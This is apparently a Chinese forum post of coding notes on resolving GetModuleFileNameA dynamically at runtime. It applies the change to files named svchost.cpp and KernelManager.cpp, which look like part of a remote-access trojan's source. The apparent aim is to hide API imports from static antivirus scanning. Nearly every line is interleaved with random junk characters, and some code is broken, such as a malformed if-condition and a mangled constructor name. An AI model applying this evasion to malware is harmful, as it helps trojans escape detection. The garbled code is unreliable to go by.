[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
  C6 ~* r* j* rsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：! f( H9 I6 i: @# d3 ?) A* J

, k- Y  f: x$ m. P#if _MSC_VER>10003 m1 F" M/ U1 ^. Z- G
#pragma once8 R/ v9 Y& t+ W! X( N
#endif //_MSC_VER>1000) v/ L1 e* {/ y" O
#include<windows.h>+ [* B8 {+ _1 E. q1 F7 q5 H
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);. i+ P' R0 O+ o# s$ L
class DTDY4 j2 V* l/ B0 x4 G% p
{! o, M7 h/ K( D5 i5 {# H  A, h
public:
! b& x/ I! m$ D: }- F8 GDTDY();
0 S2 Q  ~9 S5 C' S7 g% k8 L0 bvirtual ~DTDY();
8 M& u2 j) }7 w% _public:
& C! L/ J; F! C3 k+ g8 m5 u; Estatic pGetModuleFileNameA MyGetModuleFileName;7 r+ ^+ Y) i# v2 n( w& X
static BOOL FunInitiallization();
0 `2 ^/ P! K4 P! k};
( [0 K; v% n% ?$ k# O+ m#endif7 @0 ]. E! ]/ w+ h0 g' s4 C
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DTDY.cpp:0 B, C# B9 E3 t6 W8 F5 ^

0 ?( A8 U) ^! r0 j$ r0 v  |& V#include "DTDY.h"0 j* z+ M% G) s; p
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;6 R& k% ^8 f% q. o; k9 b4 R
DTDY:TDY()
6 @5 f( F0 R) W. C6 a" h. _0 v/ ^; J{
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DTDY::~DTDY()
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}
9 F  I7 h1 q* \4 o. DBOOL DTDY::FunInitiallization()
( c) b6 \' f% r" r{
2 M/ v( u- d; o$ E9 f! U" _HMODULE hModule=LoadLibrary("kernel32.dll");
7 {% u2 ?, u) c9 Z8 [MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
- O7 a, f$ ]' I, O6 K, J9 d4 Yif(!MyGetModuleFileName=) return FALSE;
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: W: f+ A9 o* L! l7 f! Qreturn TRUE;$ i, Y" A$ G/ c0 C' P
}
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svchost.cpp:; H! I- q% L3 m

- c3 }3 }! O/ L1 @5 d4 G- |) d#include "DTDY.h". k  n9 \4 w! R- V, ?# g

% @" ^0 o& z3 ?1 q1 HBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)* s+ L& }5 r' d% {
{
7 l) j. R; ]0 ?" h+ _switch(ul_reason_for_call)- U- G" A( v' B; d# ^
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case DLL_PROCESS_ATTACH:
. x2 t0 ~  g0 W0 Y+ {. U6 ^if(!DTDY::FunInitiallization()) return FALSE;  @) U% n0 T" N

; \3 G) w$ C8 p4 f( f7 nbreak;1 Q3 W. {$ n# e4 e
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}
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% C; f7 P& j; V8 oGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def8 [4 H4 ^. T" L. I5 c. v& j, d
改写为4 a; s1 P7 ~- X! g  O
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));. o& J! r1 u! _2 R1 @9 |3 M
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KernelManager.cpp:0 y8 E6 T# f* T4 m& v* d' d& g

- k5 }( k  E+ k6 w4 F" v#include "../DTDY.h"! q8 ]$ W% A' Z$ w& \" \" R7 }
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));# S$ `+ X: Q0 h; a. f( [/ s
改写为, X3 g2 H" k( w% r; A8 Y
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));% S! L3 ?! x$ T* L, e3 x
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